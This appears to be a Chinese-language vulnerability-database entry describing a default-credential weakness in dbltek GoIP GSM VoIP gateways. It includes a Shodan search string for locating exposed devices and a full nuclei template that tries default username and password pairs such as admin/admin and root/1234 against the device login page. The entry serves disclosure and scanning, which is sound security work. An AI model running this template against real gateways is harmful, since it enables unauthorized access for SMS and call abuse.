GoIP GSM VoIP Gateway Default Password Vulnerability

漏洞信息

漏洞名称： GoIP GSM VoIP Gateway Default Password Vulnerability

漏洞类型： 弱口令

漏洞等级： 高危

漏洞描述： GoIP GSM VoIP Gateway是一款用于GSM和VoIP通信的网关设备，广泛应用于企业和通信服务提供商中，以实现短信和电话的发送与接收功能。该设备默认配置中存在弱口令漏洞，攻击者可以利用这些默认凭证未经授权访问设备管理界面。漏洞的根源在于设备出厂时预设了常见的用户名和密码组合，如admin/admin、root/root等，且未强制要求用户在首次使用时修改这些凭证。这种设计缺陷使得攻击者能够轻易猜测或使用默认凭证登录系统。一旦攻击者成功登录，他们可以执行多种恶意操作，包括但不限于发送和接收短信、拨打电话，甚至可能进一步利用设备进行更复杂的攻击。由于该漏洞不需要任何认证即可利用，且存在自动化攻击的可能性，因此对使用该设备的组织构成了严重的安全威胁。建议所有用户立即更改默认密码，并定期更新以降低被攻击的风险。

产品厂商： dbltek

产品名称： GoIP GSM VoIP Gateway

搜索语法： HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm=”Please Login”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fdefault-logins%2Fgoip-default-login.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: goip-default-login

info:
  name: GoIP GSM VoIP Gateway - Default Password
  author: drfabiocastro
  severity: high
  description: |
    GoIP GSM VoIP Gateway Default Password, Allows attackers to send, receive sms and calls.
  reference:
    - http://en.dbltek.com/
    - https://medium.com/@hackatnow/how-to-create-a-python-script-to-find-goip-gsm-gateway-on-shodan-and-send-sms-ussd-via-goip-e2e203f5d339
    - https://www.voip-systems.ru/assets/files/voip/voip-gsm/User_Manual_1_4_8_16.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 12
    shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
  tags: default-login,goip,gsm

http:
  - raw:
      - |
        GET /default/en_US/status.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: clusterbomb
    payloads:
      username:
        - admin
        - root
        - sms
        - user
      password:
        - admin
        - root
        - 1234
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Status"
          - "GoIP"
          - "Summary"
          - "Logout"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220702869520441981bbfcbcded596a9addd522d8173b17a3d7975d848214125f2f022100df57dc852aca88466633f374a29a4b1fcf845035840b3ae5aa87c76f9700d74d:922c64590222798bb761d5b6d8e72950